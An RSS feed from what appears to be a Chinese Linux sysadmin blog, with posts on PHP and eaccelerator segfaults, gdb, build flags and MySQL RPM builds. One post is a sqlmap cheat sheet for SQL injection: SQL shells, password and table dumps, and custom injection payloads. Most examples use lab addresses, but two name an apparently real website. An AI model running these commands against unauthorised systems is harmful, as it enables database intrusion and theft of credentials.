<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>夜行人</title>
	<atom:link href="http://www.187299.com/feed" rel="self" type="application/rss+xml" />
	<link>http://www.187299.com</link>
	<description>寻觅生命中的那一片浅草......</description>
	<lastBuildDate>Wed, 16 Nov 2011 11:25:49 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>php-cgi segfault</title>
		<link>http://www.187299.com/archives/1851</link>
		<comments>http://www.187299.com/archives/1851#comments</comments>
		<pubDate>Wed, 16 Nov 2011 11:25:49 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://www.187299.com/?p=1851</guid>
		<description><![CDATA[在/var/log/messages会看到如下错误 kernel: php-cgi[26075]: segfault at 000000000000000f rip 00002b8fa54df0b8 rsp 00007fff905e9a40 error 4 原因，开启了php的线程安全模式，与eaccelerator冲突导致的 就是安装时，./configure 加... ]]></description>
			<content:encoded><![CDATA[<p>在/var/log/messages会看到如下错误</p>
<p>kernel: php-cgi[26075]: segfault at 000000000000000f rip 00002b8fa54df0b8 rsp 00007fff905e9a40 error 4</p>
<p>原因，开启了php的线程安全模式，与eaccelerator冲突导致的<br />
就是安装时，./configure 加入了--enable-maintainer-zts<br />
解决办法：<br />
安装php时，去掉该参数00</p>
]]></content:encoded>
			<wfw:commentRss>http://www.187299.com/archives/1851/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>好用的autoexpect</title>
		<link>http://www.187299.com/archives/1848</link>
		<comments>http://www.187299.com/archives/1848#comments</comments>
		<pubDate>Sat, 05 Nov 2011 03:05:55 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[expect]]></category>

		<guid isPermaLink="false">http://www.187299.com/?p=1848</guid>
		<description><![CDATA[工作中需要用expect来解决一些交互问题，但对expect又不熟悉 幸好同事介绍了autoexpect，它会把你的操作录制成脚本 使用方法是 /usr/bin/autoexpect  你的命令 然后它就会把它录制下来， 存在当前目... ]]></description>
			<content:encoded><![CDATA[<p>工作中需要用expect来解决一些交互问题，但对expect又不熟悉</p>
<p>幸好同事介绍了autoexpect，它会把你的操作录制成脚本</p>
<p>使用方法是</p>
<p>/usr/bin/autoexpect  你的命令</p>
<p>然后它就会把它录制下来， 存在当前目录scripts.exp</p>
]]></content:encoded>
			<wfw:commentRss>http://www.187299.com/archives/1848/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>开启线程安全模式下的php-fpm与eaccelerator冲突造成段错误（Segmentation fault）</title>
		<link>http://www.187299.com/archives/1844</link>
		<comments>http://www.187299.com/archives/1844#comments</comments>
		<pubDate>Fri, 28 Oct 2011 15:35:02 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://www.187299.com/?p=1844</guid>
		<description><![CDATA[PHP采用php-fpm管理cgi,启动时，如果有加载eaccelerator，就会报Segmentation fault 但端口可以正常起来 程序也可以正常的跑，但看着这个错 ，就是觉得不爽，就像解决它 如果想知道怎么定位是eaccelerato... ]]></description>
			<content:encoded><![CDATA[<p>PHP采用php-fpm管理cgi,启动时，如果有加载eaccelerator，就会报Segmentation fault</p>
<p>但端口可以正常起来<br />
程序也可以正常的跑，但看着这个错 ，就是觉得不爽，就像解决它<br />
如果想知道怎么定位是eaccelerator导致的<br />
参考下<br />
<a href="http://www.187299.com/archives/1841" target="_blank">用gdb分析段错误（Segmentation fault）</a><br />
网上找了些资料，终于找到解决办法<br />
原来是我们开启了PHP的线程安全模式，参数是 configure --enable-maintainer-zts<br />
网上说是EA不能在线程安全模式下很好地工作导致的</p>
<p>解决，configure时去掉 --enable-maintainer-zts就OK了</p>
]]></content:encoded>
			<wfw:commentRss>http://www.187299.com/archives/1844/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>用gdb分析段错误（Segmentation fault）</title>
		<link>http://www.187299.com/archives/1841</link>
		<comments>http://www.187299.com/archives/1841#comments</comments>
		<pubDate>Fri, 28 Oct 2011 15:29:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[gdb]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://www.187299.com/?p=1841</guid>
		<description><![CDATA[开始前，先看下这篇文章，（猛击此处） Redhat Linux下如何生成core dump文件 看完后，开工 vi /root/.bash_profile 加入ulimit -S -c unlimited &#62; /dev/null 2&#62;&#38;1 保存退出，重新加载配置 source /root/.bash_pro... ]]></description>
			<content:encoded><![CDATA[<p>开始前，先看下这篇文章，<a href="http://www.187299.com/archives/1503" target="_blank">（猛击此处） Redhat Linux下如何生成core dump文件</a></p>
<p>看完后，开工<br />
vi /root/.bash_profile<br />
加入ulimit -S -c unlimited &gt; /dev/null 2&gt;&amp;1<br />
保存退出，重新加载配置<br />
source /root/.bash_profile</p>
<p>经研究发现，只要把<br />
/usr/local/php/bin/php-cgi --fpm --fpm-config /usr/local/php/etc/php-fpm.conf<br />
放到脚本里都会报<br />
Segmentation fault</p>
<p>vi /root/test.sh<br />
添加<br />
/usr/local/php/bin/php-cgi --fpm --fpm-config /usr/local/php/etc/php-fpm.conf</p>
<p>cd /root<br />
sh test.sh<br />
这是它会报Segmentation fault，并在/root下产生一个core.28522文件，这个文件名后面的数字是随机的<br />
现在我们来看下core.28522里面到底是什么内容,需要用到gdb这个工具</p>
<p>yum -y install gdb</p>
<p>gdb使用的方法是<br />
gdb 产生core时执行的命令  core文件</p>
<p>gdb /usr/local/php/bin/php-cgi core.28522</p>
<p>我们在最后会看到<br />
Core was generated by `/usr/local/php/bin/php-cgi --fpm --fpm-config /usr/local/php/etc/php-fpm.conf'.<br />
Program terminated with signal 11, Segmentation fault.<br />
#0  0x00007f895e2df0b8 in eaccelerator_clean_shutdown ()<br />
from /usr/local/php/lib/php/extensions/no-debug-zts-20060613/eaccelerator.so</p>
<p>由此，我们定位到是EA导致整个段错误的</p>
]]></content:encoded>
			<wfw:commentRss>http://www.187299.com/archives/1841/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>查看nginx，apache，mysql，php编译参数</title>
		<link>http://www.187299.com/archives/1838</link>
		<comments>http://www.187299.com/archives/1838#comments</comments>
		<pubDate>Wed, 26 Oct 2011 04:57:23 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[Nginx]]></category>

		<guid isPermaLink="false">http://www.187299.com/?p=1838</guid>
		<description><![CDATA[有时候nginx，apache，mysql，php编译完了想看看编译参数可以用以下方法 nginx编译参数： #/usr/local/nginx/sbin/nginx -V nginx version: nginx/0.6.32 built by gcc 4.1.2 20071124 (Red Hat 4.1.2-42) configure arguments: --user=www --... ]]></description>
			<content:encoded><![CDATA[<p>有时候nginx，apache，mysql，php编译完了想看看编译参数可以用以下方法</p>
<p>nginx编译参数：<br />
#/usr/local/nginx/sbin/nginx -V<br />
nginx version: nginx/0.6.32</p>
<p>built by gcc 4.1.2 20071124 (Red Hat 4.1.2-42)</p>
<p>configure arguments: --user=www --group=www --prefix=/usr/local/nginx/ --with-http_stub_status_module --with-openssl=/usr/local/openssl</p>
<p>apache编译参数：<br />
# cat /usr/local/apache2/build/config.nice<br />
#! /bin/sh</p>
<p>#</p>
<p># Created by configure</p>
<p>"./configure" \</p>
<p>"--prefix=/usr/local/apache2" \</p>
<p>"--with-included-apr" \</p>
<p>"--enable-so" \</p>
<p>"--enable-deflate=shared" \</p>
<p>"--enable-expires=shared" \</p>
<p>"--enable-rewrite=shared" \</p>
<p>"--enable-static-support" \</p>
<p>"--disable-userdir" \</p>
<p>"$@"</p>
<p>php编译参数：</p>
<p># /usr/local/php/bin/php -i |grep configure</p>
<p>Configure Command =&gt;   './configure'   '--prefix=/usr/local/php' '--with-apxs2=/usr/local/apache2/bin/apxs' '--with-config-file-path=/usr/local/php/etc' '--with-mysql=/usr/local/mysql' '--with-libxml-dir=/usr/local/libxml2/bin' '--with-gd=/usr/local/gd2' '--with-jpeg-dir' '--with-png-dir' '--with-bz2' '--with-xmlrpc' '--with-freetype-dir' '--with-zlib-dir'</p>
<p>mysql编译参数：</p>
<p># cat "/usr/local/mysql/bin/mysqlbug"|grep configure</p>
<p># This is set by configure</p>
<p>CONFIGURE_LINE="./configure '--prefix=/usr/local/mysql' '--localstatedir=/var/lib/mysql' '--with-comment=Source' '--with-server-suffix=-H863' '--with-mysqld-user=mysql' '--without-debug' '--with-big-tables' '--with-charset=gbk' '--with-collation=gbk_chinese_ci' '--with-extra-charsets=all' '--with-pthread' '--enable-static' '--enable-thread-safe-client' '--with-client-ldflags=-all-static' '--with-mysqld-ldflags=-all-static' '--enable-assembler' '--without-isam' '--without-innodb' '--without-ndb-debug'"</p>
<p>转载自：http://hi.baidu.com/xi4oyu/blog/item/8a0e1ed020e81adb562c8452.html</p>
]]></content:encoded>
			<wfw:commentRss>http://www.187299.com/archives/1838/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>sqlmap简单中文说明</title>
		<link>http://www.187299.com/archives/1834</link>
		<comments>http://www.187299.com/archives/1834#comments</comments>
		<pubDate>Wed, 26 Oct 2011 03:32:15 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Python]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.187299.com/?p=1834</guid>
		<description><![CDATA[mickey整理 来源：影子 更新 svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev sqlmap.py -u "http://www.islamichina.com/hotelinchina.asp?cityid=2&#38;m=1" -v 1 --sql-shell //执行SQL语句 sqlmap.py -u "http://www.islamichina.com... ]]></description>
			<content:encoded><![CDATA[<p>mickey整理<br />
来源：<a href="http://hi.baidu.com/p3rlish/blog/item/642cc6b5126297c736d3cace.html" target="_blank">影子</a></p>
<p>更新<br />
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev</p>
<p>sqlmap.py -u "http://www.islamichina.com/hotelinchina.asp?cityid=2&amp;m=1" -v 1 --sql-shell //执行SQL语句</p>
<p>sqlmap.py -u "http://www.islamichina.com/hotelinchina.asp?cityid=2&amp;m=1" -v 5 //更详细的信息</p>
<p>load options from a configuration INI file<br />
sqlmap -c sqlmap.conf</p>
<p>使用POST方法提交<br />
sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/post_int.php" --method POST --data "id=1"</p>
<p>使用COOKIES方式提交,cookie的值用;分割,可以使用TamperData来抓cookies<br />
python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/cookie_int.php" --cookie "id=1" -v 1</p>
<p>使用referer欺骗<br />
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --referer "http://www.google.com" -v 3</p>
<p>使用自定义user-agent,或者使用随机使用自带的user-agents.txt<br />
python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3</p>
<p>python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 -a "./txt/user-agents.txt"</p>
<p>使用基本认证<br />
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/basic/get_int.php?id=1" --auth-type Basic --auth-cred "testuser:testpass" -v 3</p>
<p>使用Digest认证<br />
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/digest/get_int.php?id=1" --auth-type Digest --auth-cred "testuser:testpass" -v 3</p>
<p>使用代理,配合TOR<br />
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --proxy "http://192.168.1.47:3128"<br />
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --proxy "http://192.168.1.47:8118"</p>
<p>使用多线程猜解<br />
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 --current-user --threads 3</p>
<p>绕过动态检测,直接指定有注入点的参数,可以使用,分割多个参数,指定user-agent注入<br />
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -v 1 -p "id<br />
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&amp;cat=2" -v 1 -p "cat,id"<br />
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/ua_str.php" -v 1 -p "user-agent" --user-agent "sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)"</p>
<p>指定数据库,绕过SQLMAP的自动检测<br />
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -v 2 --dbms "PostgreSQL"</p>
<p>* MySQL<br />
* Oracle<br />
* PostgreSQL<br />
* Microsoft SQL Server</p>
<p>指定操作系统,绕过SQLMAP自动检测<br />
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -v 2 --os "Windows"</p>
<p>* Linux<br />
* Windows</p>
<p>自定义payload<br />
Options: --prefix and --postfix</p>
<p>In some circumstances the vulnerable parameter is exploitable only if the user provides a postfix to be appended to the injection payload. Another scenario where these options come handy presents itself when the user already knows that query syntax and want to detect and exploit the SQL injection by directly providing a injection payload prefix and/or postfix.</p>
<p>Example on a MySQL 5.0.67 target on a page where the SQL query is: $query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";:</p>
<p>$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_str_brackets.php?id=1" -v 3 -p "id" --prefix "'" --postfix "AND 'test'='test"</p>
<p>[...]<br />
[hh:mm:16] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis<br />
[hh:mm:16] [INFO] testing custom injection on GET parameter 'id'<br />
[hh:mm:16] [TRAFFIC OUT] HTTP request:<br />
GET /sqlmap/mysql/get_str_brackets.php?id=1%27%29%20AND%207433=7433%20AND%20<br />
%28%27test%27=%27test HTTP/1.1<br />
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7<br />
Host: 192.168.1.121:80<br />
Accept-language: en-us,en;q=0.5<br />
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,<br />
image/png,*/*;q=0.5<br />
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)<br />
Connection: close<br />
[...]<br />
[hh:mm:17] [INFO] GET parameter 'id' is custom injectable<br />
[...]</p>
<p>As you can see, the injection payload for testing for custom injection is:</p>
<p>id=1%27%29%20AND%207433=7433%20AND%20%28%27test%27=%27test</p>
<p>which URL decoded is:</p>
<p>id=1') AND 7433=7433 AND ('test'='test</p>
<p>and makes the query syntatically correct to the page query:</p>
<p>SELECT * FROM users WHERE id=('1') AND 7433=7433 AND ('test'='test') LIMIT 0, 1</p>
<p>In this simple example, sqlmap could detect the SQL injection and exploit it without need to provide a custom injection payload, but sometimes in the real world application it is necessary to provide it.</p>
<p>页面比较<br />
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" --string "luther" -v 1<br />
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" --regexp "&lt;td&gt;lu[\w][\w]er" -v</p>
<p>排除网站的内容<br />
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" --excl-reg "Dynamic content: ([\d]+)"</p>
<p>多语句测试，php内嵌函数mysql_query(),不支持多语句<br />
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --stacked-test -v 1</p>
<p>union注入测试<br />
python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --union-test -v 1</p>
<p>unionz注入配合orderby<br />
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_str.php?id=1" --union-test --union-tech orderby -v 1</p>
<p>python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" -v 1 --union-use --banner<br />
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 5 --union-use --current-user<br />
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_partialunion.php?id=1" -v 1 --union-use --dbs</p>
<p>fingerprint<br />
python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" -v 1 -f<br />
python sqlmap.py -u "http://192.168.123.36/sqlmap/get_str.asp?name=luther" -v 1 -f -b</p>
<p>判断当前用户是否是dba<br />
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --is-dba -v 1</p>
<p>列举数据库用户<br />
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --users -v 0</p>
<p>列举数据库用户密码<br />
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --passwords -v 0<br />
python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --passwords -U sa -v 0</p>
<p>查看用户权限<br />
python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --privileges -v 0<br />
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --privileges -U postgres -v 0</p>
<p>列数据库<br />
python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --dbs -v 0</p>
<p>列出指定数据库指定表的列名<br />
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --columns -T users -D test -v 1</p>
<p>列出指定数据库的指定表的指定列的内容<br />
python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --dump -T users -D master -C surname -v 0</p>
<p>指定列的范围从2－4<br />
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --dump -T users -D test --start 2 --stop 4 -v 0</p>
<p>导出所有数据库，所有表的内容<br />
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --dump-all -v 0</p>
<p>只列出用户自己新建的数据库和表的内容<br />
python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --dump-all --exclude-sysdbs -v 0</p>
<p>sql query<br />
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --sql-query "SELECT usename FROM pg_user" -v 0<br />
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --sql-query "SELECT host, password FROM mysql.user LIMIT 1, 3" -v 1</p>
<p>SELECT usename, passwd FROM pg_shadow ORDER BY usename</p>
<p>保存和恢复会话<br />
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -b -v 1 -s "sqlmap.log"</p>
<p>保存选项到INC配置文件<br />
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -b -v 1 --save</p>
]]></content:encoded>
			<wfw:commentRss>http://www.187299.com/archives/1834/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Linux下根据模块名查看网卡驱动版本</title>
		<link>http://www.187299.com/archives/1830</link>
		<comments>http://www.187299.com/archives/1830#comments</comments>
		<pubDate>Tue, 25 Oct 2011 05:15:45 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Network]]></category>

		<guid isPermaLink="false">http://www.187299.com/?p=1830</guid>
		<description><![CDATA[例如我们要查看博通网卡的驱动版本，如果该机器上刚好是博通的网卡，最简单的方法就是 ethtool -i eth0 但如果我们所查看的机器用的不是博通的网卡，则可以通过以下方法查看 我们知道博通... ]]></description>
			<content:encoded><![CDATA[<p>例如我们要查看博通网卡的驱动版本，如果该机器上刚好是博通的网卡，最简单的方法就是<br />
ethtool -i eth0</p>
<p>但如果我们所查看的机器用的不是博通的网卡，则可以通过以下方法查看<br />
我们知道博通网卡的驱动文件名叫bnx2.ko<br />
我们查找下bnx2.ko的位置<br />
updatedb<br />
locate bnx2.ko<br />
结果如下<br />
/lib/modules/2.6.32-71.el6.x86_64/kernel/drivers/net/bnx2.ko<br />
查看驱动详细情况<br />
modinfo /lib/modules/2.6.32-71.el6.x86_64/kernel/drivers/net/bnx2.ko<br />
以下信息中，version记录就是我们的网卡驱动版本，是2.0.8-j15</p>
<p>filename:       /lib/modules/2.6.32-71.el6.x86_64/kernel/drivers/net/bnx2.ko<br />
firmware:       bnx2/bnx2-rv2p-09ax-5.0.0.j10.fw<br />
firmware:       bnx2/bnx2-rv2p-09-5.0.0.j10.fw<br />
firmware:       bnx2/bnx2-mips-09-5.0.0.j15.fw<br />
firmware:       bnx2/bnx2-rv2p-06-5.0.0.j3.fw<br />
firmware:       bnx2/bnx2-mips-06-5.0.0.j6.fw<br />
version:        2.0.8-j15<br />
license:        GPL<br />
description:    Broadcom NetXtreme II BCM5706/5708/5709/5716 Driver<br />
author:         Michael Chan &lt;mchan@broadcom.com&gt;<br />
srcversion:     8CDA41B3E0DF70A112FBA80<br />
alias:          pci:v000014E4d0000163Csv*sd*bc*sc*i*<br />
alias:          pci:v000014E4d0000163Bsv*sd*bc*sc*i*<br />
alias:          pci:v000014E4d0000163Asv*sd*bc*sc*i*<br />
alias:          pci:v000014E4d00001639sv*sd*bc*sc*i*<br />
alias:          pci:v000014E4d000016ACsv*sd*bc*sc*i*<br />
alias:          pci:v000014E4d000016AAsv*sd*bc*sc*i*<br />
alias:          pci:v000014E4d000016AAsv0000103Csd00003102bc*sc*i*<br />
alias:          pci:v000014E4d0000164Csv*sd*bc*sc*i*<br />
alias:          pci:v000014E4d0000164Asv*sd*bc*sc*i*<br />
alias:          pci:v000014E4d0000164Asv0000103Csd00003106bc*sc*i*<br />
alias:          pci:v000014E4d0000164Asv0000103Csd00003101bc*sc*i*<br />
depends:<br />
vermagic:       2.6.32-71.el6.x86_64 SMP mod_unload modversions<br />
parm:           disable_msi:Disable Message Signaled Interrupt (MSI) (int)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.187299.com/archives/1830/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>64位CentOS6系统上编译PHP</title>
		<link>http://www.187299.com/archives/1824</link>
		<comments>http://www.187299.com/archives/1824#comments</comments>
		<pubDate>Fri, 21 Oct 2011 01:26:31 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[CentOS6]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://www.187299.com/?p=1824</guid>
		<description><![CDATA[CentOS 6 64位版本,默认是不会安装32位软件的,这样就导致我们在安装PHP前安装的库,只会有64位版本 例如 yum -y install libjpeg libjpeg-devel libpng libpng-devel libxml2 libxml2-devel zlib zlib-devel glibc glibc-devel glib2 g... ]]></description>
			<content:encoded><![CDATA[<p>CentOS 6 64位版本,默认是不会安装32位软件的,这样就导致我们在安装PHP前安装的库,只会有64位版本</p>
<p>例如<br />
yum -y install libjpeg libjpeg-devel libpng libpng-devel libxml2 libxml2-devel zlib zlib-devel glibc glibc-devel glib2 glib2-devel  mhash freetype freetype-devel</p>
<p>这样安装,系统默认只会安装64位版本,假设我们用以下命令去安装PHP</p>
<p>CHOST="x86_64-pc-linux-gnu" CFLAGS="-march=nocona -O2 -pipe" CXXFLAGS="-march=nocona -O2 -pipe" \<br />
./configure --prefix=/usr/local/php \<br />
--with-config-file-path=/etc \<br />
--with-mysql=/usr/loca/mysql --with-pdo-mysql=/usr/local/mysql/bin/mysql_config \<br />
--with-mysqli=/usr/local/mysql/bin/mysql_config \<br />
--with-iconv-dir=/usr/local \<br />
--with-freetype-dir --with-jpeg-dir \<br />
--with-png-dir --with-ttf \<br />
--enable-zip --with-zlib \<br />
--with-gd \<br />
--disable-rpath --enable-discard-path \<br />
--enable-safe-mode --enable-bcmath \<br />
--enable-shmop --enable-sysvsem \<br />
--with-curl --with-curlwrappers \<br />
--enable-fastcgi --enable-force-cgi-redirect \<br />
--enable-mbstring --with-mcrypt \<br />
--disable-ipv6 \<br />
--enable-static \<br />
--enable-maintainer-zts \<br />
--enable-zend-multibyte \<br />
--enable-sockets \<br />
--enable-soap \<br />
--with-openssl \<br />
--without-sqlite --without-pdo-sqlite</p>
<p>则会提示<br />
configure: error: libjpeg.(a|so) not found.</p>
<p>通过rpm -qa |grep libjpeg是有安装的</p>
<p>解决办法是在configure里加入</p>
<p>--with-libdir=lib64</p>
<p>修改后是这样</p>
<p>CHOST="x86_64-pc-linux-gnu" CFLAGS="-march=nocona -O2 -pipe" CXXFLAGS="-march=nocona -O2 -pipe" \<br />
./configure --prefix=/usr/local/php \<br />
--with-libdir=lib64 \<br />
--with-config-file-path=/etc \<br />
--with-mysql=/usr/loca/mysql --with-pdo-mysql=/usr/local/mysql/bin/mysql_config \<br />
--with-mysqli=/usr/local/mysql/bin/mysql_config \<br />
--with-iconv-dir=/usr/local \<br />
--with-freetype-dir --with-jpeg-dir \<br />
--with-png-dir --with-ttf \<br />
--enable-zip --with-zlib \<br />
--with-gd \<br />
--disable-rpath --enable-discard-path \<br />
--enable-safe-mode --enable-bcmath \<br />
--enable-shmop --enable-sysvsem \<br />
--with-curl --with-curlwrappers \<br />
--enable-fastcgi --enable-force-cgi-redirect \<br />
--enable-mbstring --with-mcrypt \<br />
--disable-ipv6 \<br />
--enable-static \<br />
--enable-maintainer-zts \<br />
--enable-zend-multibyte \<br />
--enable-sockets \<br />
--enable-soap \<br />
--with-openssl \<br />
--without-sqlite --without-pdo-sqlite</p>
<p>不过,由于我们MySQL不是用rpm包装的,是自编译安装在/usr/local/mysql<br />
如果使用以上configure参数,则会提示</p>
<p>configure: error: Cannot find libmysqlclient_r under /usr/local/mysql/.<br />
Note that the MySQL client library is not bundled anymore!</p>
<p>此时做个修改</p>
<p>ln -s /usr/local/mysql/lib /usr/local/mysql/lib64</p>
<p>这样就可以configure通过了,然后就make &amp;&amp; make install吧</p>
<p>题外话,如果要在CentOS6 64位上yum安装32位的软件<br />
echo 'multilib_policy=all' &gt;&gt; /etc/yum.conf<br />
就可以了</p>
]]></content:encoded>
			<wfw:commentRss>http://www.187299.com/archives/1824/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>利用rpmbuild制作MySQL的rpm包</title>
		<link>http://www.187299.com/archives/1822</link>
		<comments>http://www.187299.com/archives/1822#comments</comments>
		<pubDate>Wed, 19 Oct 2011 01:16:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[rpmbuild]]></category>

		<guid isPermaLink="false">http://www.187299.com/?p=1822</guid>
		<description><![CDATA[1、配置环境 yum -y install rpmbuild 2、下载源代码rpm包 mkdir /root/download cd /root/download wget http://www.percona.com/redir/downloads/Percona-Server-5.1/Percona-Server-5.1.58-12.9/source/Percona-Server-51-5.1.58-rel12.9.271.rhel6.src.rpm ... ]]></description>
			<content:encoded><![CDATA[<p>1、配置环境<br />
yum -y install rpmbuild<br />
2、下载源代码rpm包<br />
mkdir /root/download<br />
cd /root/download<br />
wget <a href="http://www.percona.com/redir/downloads/Percona-Server-5.1/Percona-Server-5.1.58-12.9/source/Percona-Server-51-5.1.58-rel12.9.271.rhel6.src.rpm">http://www.percona.com/redir/downloads/Percona-Server-5.1/Percona-Server-5.1.58-12.9/source/Percona-Server-51-5.1.58-rel12.9.271.rhel6.src.rpm</a></p>
<p>3、安装打包MySQL时依赖的包</p>
<p>yum -y install perl readline-devel gcc-c++ ncurses-devel zlib-devel libtool automake autoconf time ccache bison</p>
<p>4、安装percona的源代码<br />
rpm -ivh Percona-Server-51-5.1.58-rel12.9.271.rhel6.src.rpm</p>
<p>安装了2个文件，它们的位置是<br />
/root/rpmbuild/SOURCES/Percona-Server-5.1.58.tar.gz<br />
/root/rpmbuild/SPECS/percona-server.spec</p>
<p>5、修改percona-server.spec<br />
加入我们自己的编译参数<br />
vi percona-server.spec<br />
将<br />
# The --enable-assembler simply does nothing on systems that does not<br />
# support assembler speedups.<br />
和<br />
%if %{YASSL_BUILD}<br />
之间的一段修改成这样</p>
<p># The --enable-assembler simply does nothing on systems that does not<br />
# support assembler speedups.<br />
sh -c  "CFLAGS=\"$CFLAGS\" \<br />
        CXXFLAGS=\"$CXXFLAGS\" \<br />
        AM_CPPFLAGS=\"$AM_CPPFLAGS\" \<br />
        LDFLAGS=\"$LDFLAGS\" \<br />
        ./configure \<br />
            $* \<br />
            --with-comment=MC-DB \<br />
            --with-server-suffix=-MC-DB-Server \<br />
            --with-charset=utf8 \<br />
            --with-plugins=blackhole,csv,innodb_plugin \<br />
            --enable-assembler \<br />
            --enable-local-infile \<br />
            --with-mysqld-user=%{mysqld_user} \<br />
            --with-unix-socket-path=/tmp/mysql.sock \<br />
            --with-pic \<br />
            -prefix=/usr \<br />
            --with-extra-charsets=gbk,gb2312,utf8 \<br />
            --without-debug \<br />
            --with-pthread \<br />
            --enable-thread-safe-client \<br />
